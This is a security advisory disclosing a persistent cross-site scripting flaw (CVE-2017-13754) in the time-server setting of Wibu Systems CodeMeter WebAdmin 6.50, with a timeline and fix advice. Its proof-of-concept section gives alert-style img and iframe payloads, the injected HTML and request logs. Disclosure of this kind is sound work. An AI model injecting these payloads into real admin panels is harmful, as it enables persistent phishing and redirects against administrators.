CodeMeter 6.50 Cross-Site Scripting

2017.09.04
Risk: Low
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Document Title: =============== Wibu Systems AG CodeMeter 6.50 - Persistent XSS Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2074 ID: FB49498 Acknowledgements: https://www.flickr.com/photos/vulnerabilitylab/36912680045/ http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-13754 CVE-ID: ======= CVE-2017-13754 Release Date: ============= 2017-09-04 Vulnerability Laboratory ID (VL-ID): ==================================== 2074 Common Vulnerability Scoring System: ==================================== 3.5 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== CodeMeter is the universal technology for software publishers and intelligent device manufacturers, upon which all solutions from Wibu-Systems are built. You want to protect the software you have developed against piracy and reverse engineering. CodeMeter requires your attention only once: its integration in your software and your business workflow is necessary at one point in time only. Protection Suite is the tool that automatically encrypts your applications and libraries. In addition, CodeMeter offers an API for custom integration with your software. (Copy of the Homepage: http://www.wibu.com/us/codemeter.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the official Wibu Systems CodeMeter WebAdmin v6.50 application. Vulnerability Disclosure Timeline: ================================== 2017-05-20: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2017-05-21: Vendor Notification (Wibu Systems AG - Security Department) 2017-05-22: Vendor Response/Feedback (Wibu Systems AG - Security Department) 2017-08-01: Vendor Fix/Patch (Wibu Systems AG - Service Developer Team) 2017-08-20: Security Acknowledgements (Wibu Systems AG - Security Department) 2017-09-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Wibu-Systems AG Product: CodeMeter & Control Panel - WebAdmin (Web-Application) 6.50.2624.500 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation vulnerability has been discovered in the Wibu Systems AG CodeMeter WebAdmin v6.50 web-server web-application. The vulnerability allows remote attackers to inject own malicious script code with application-side vector to the vulnerable function or module to followup with a compromising attack. The input validation vulnerability has been discovered in the `server name` input field of the `advanced settings - time server` module. The request method to inject is POST and the attack vector is located on the application-side. First the attacker injects the payload and after it the POST request is performed to save the content permanently. After that the issue triggers on each visit an execution. The basic validation in the application is well setup but in case of the advanced settings the validation parameter are still not implemented to secure the function at all. The vulnerability is a classic filter input validation vulnerability. The application has no cookies and therefore the attack risk is more minor but not that less then to ignore it. The vulnerable files are `ChangeConfiguration.html`, `time_server_list.html` and `certified_time.html`. The `ChangeConfiguration.html` is marked as injection point for the payload. The `time_server_list.html` and `certified_time.html` files are mared with the execution point of the issue. The security issue was uncovered during the blurrybox hacking contest of the wibu systems ag and acknowledged by the management. The security risk of the persistent input validation issue is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the persistent input validation web vulnerability requires low user interaction and a privileged web-application user account. Successful exploitation of the vulnerability results in persistent phishing attacks, persistent external redirects to malicious sources and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Advanced Settings - Time Server Vulnerable File(s): [+] ChangeConfiguration.html Vulnerable Parameter(s): [+] server name Affected Module(s): [+] time_server_list.html [+] certified_time.html Proof of Concept (PoC): ======================= The persistent input validation vulnerability can be exploited by remote attackers with privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Start the CodeMeter software 2. Open the webadmin gui 3. Move to advanced settings 4. Open the time-server module 5. Click the plus to add a new time server Note: The request method is POST 6. Inject a test script code payload with matching domain and save via POST 7. The code is saved and executes of the dbms in the time-server list module index 8. Successful reproduce of the vulnerability! Note: The method can be automated by usage of post method requester to include a payload. PoC: Payload (Exploitation) cmtime.codehacker.de/>"<img src="evil.source" onload=alert("GUTENMORGEN")> cmtime.codehacker.de/>"<iframe src="evil.source" onload=alert("GUTENMORGEN")> PoC: Vulnerable Source <div id="time_server_to_add"><input id="TimeServerId1" name="time_server_list_list" value="cmtime.codemeter.com" type="radio"><label class="time_server_list_list_label" for="TimeServerId1"><span class="ct100_t bld ssl_number_space">1. </span>cmtime.codemeter.com<span class="ssl_up" onclick="onClickSSLUp(this);" style="visibility: hidden;"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"> </span></span></label><input id="TimeServerId3" name="time_server_list_list" value="cmtime.codemeter.de" type="radio"> <label class="time_server_list_list_label" for="TimeServerId3"><span class="ct100_t bld ssl_number_space">2. </span>cmtime.codemeter.de <span class="ssl_up" onclick="onClickSSLUp(this);"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"></span></span></label><input id="TimeServerId4" name="time_server_list_list" value="cmtime.codemeter.us" type="radio"><label class="time_server_list_list_label" for="TimeServerId4"> <span class="ct100_t bld ssl_number_space">3. </span>cmtime.codemeter.us<span class="ssl_up" onclick="onClickSSLUp(this);"> <span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);" style="visibility: visible;"><span class="fa fa-arrow-down fa-list-buttons"></span></span><span class="ssl_delete" onclick="onClickDelete(this);"> <span class="fa fa-trash-o fa-list-buttons"></span></span></label><input id="cmtime.codehacker.de/>" <img="" src="evil.source">" type="radio" name="time_server_list_list" value="cmtime.codehacker.de/>"<img src="evil.source">"/><label class="time_server_list_list_label" for="cmtime.codehacker.de/>" <img="" src="evil.source">"><span id="ssl_number_cmtime.codehacker.de/>" <img="" src="evil.source">"[EXECUTABLE PAYLOAD!] class="ct100_t bld ssl_number_space"></span>cmtime.codehacker.de/>"<img src="evil.source"><span class="ssl_up" onclick="onClickSSLUp(this);"><span class="fa fa-arrow-up fa-list-buttons"></span></span><span class="ssl_down" onclick="onClickSSLDown(this);" style="visibility: hidden;"><span class="fa fa-arrow-down fa-list-buttons"></span></span> <span class="ssl_delete" onclick="onClickDelete(this);"><span class="fa fa-trash-o fa-list-buttons"></span></span></label></div> --- PoC Session Logs (GET) --- Status: 200[OK] POST http://localhost:22350/actions/ChangeConfiguration.html Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1544] Mime Type[text/html] Request Header: Host[localhost:22350] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Content-Type[application/x-www-form-urlencoded] Content-Length[255] Referer[http://localhost:22350/configuration/certified_time.html] Cookie[com.wibu.cm.webadmin.lang=de-DE] Connection[keep-alive] Upgrade-Insecure-Requests[1] POST-Daten: Action[CertifiedTimeConfiguration] TimeServerList[cmtime.codemeter.com%7Ccmtime.codemeter.de%7Ccmtime.codemeter.us%7Ccmtime.codehacker.de/>"<img src="evil.source" onload=alert("GUTENMORGEN")>%7C] SoapTimeOut[20] certified_time_time_out[20] ApplyButton[Apply] WaFormGuard[v0V839tW3xkpa6jC26kYsvZJxe0UFJCl4%2FB2ipA6Xpwv] Response Header: Server[WIBU-SYSTEMS HTTP Server] Date[21 May 2017 16:00:21 +0000] Content-Type[text/html; charset=utf-8] X-Frame-Options[SAMEORIGIN] x-xss-protection[1; mode=block] Accept-Ranges[bytes] Content-Length[1544] - Status: 200[OK] GET http://localhost:22350/configuration/iframe/evil.source[PAYLOAD EXECUTION] Load Flags[LOAD_NORMAL] Größe des Inhalts[2320] Mime Type[text/html] Request Header: Host[localhost:22350] User-Agent[zero-zero] Accept[*/*] Referer[http://localhost:22350/configuration/iframe/time_server_list.html] Cookie[com.wibu.cm.webadmin.lang=de-DE] Connection[keep-alive] Response Header: Server[WIBU-SYSTEMS HTTP Server] Date[19 May 2017 21:02:23 +0000] Connection[close] Content-Type[text/html; charset=utf-8] X-Frame-Options[SAMEORIGIN] x-xss-protection[1; mode=block] Accept-Ranges[bytes] Content-Length[2320] - Status: 200[OK] GET http://localhost:22350/configuration/iframe/evil.source Mime Type[text/html] Request Header: Host[localhost:22350] User-Agent[zero-zero] Accept[*/*] Referer[http://localhost:22350/configuration/iframe/time_server_list.html] Cookie[com.wibu.cm.webadmin.lang=de-DE] Connection[keep-alive] Response Header: Server[WIBU-SYSTEMS HTTP Server] Date[19 May 2017 21:06:56 +0000] Connection[close] Content-Type[text/html; charset=utf-8] X-Frame-Options[SAMEORIGIN] x-xss-protection[1; mode=block] X-Content-Type-Options[nosniff] Accept-Ranges[bytes] Content-Length[2320] Reference(s): http://localhost:22350/ http://localhost:22350/configuration/ http://localhost:22350/configuration/ChangeConfiguration.html http://localhost:22350/configuration/certified_time.html http://localhost:22350/configuration/time_server_list.html Solution - Fix & Patch: ======================= 1. Restrict the input field and disallow the usage of special chars like in the other input fields 2. Parse the input field and escape the content 3. Parse in the visible listing the output location of the item 4. Setup a secure exception-handling to handl illegal events 5. Include a proper validation mask to the form to prevent further injection attacks The security vulnerability has been patched in the version 6.50b. Security Risk: ============== The seurity risk of the persistent input validation web vulnerability in the web-server webadmin web-application is estimated as medium (CVSS 3.5). Earlier version releases up to codemeter 6.50 may be affected as well by the cross site scripting web vulnerability. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. 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References:

https://www.vulnerability-lab.com/get_content.php?id=2074


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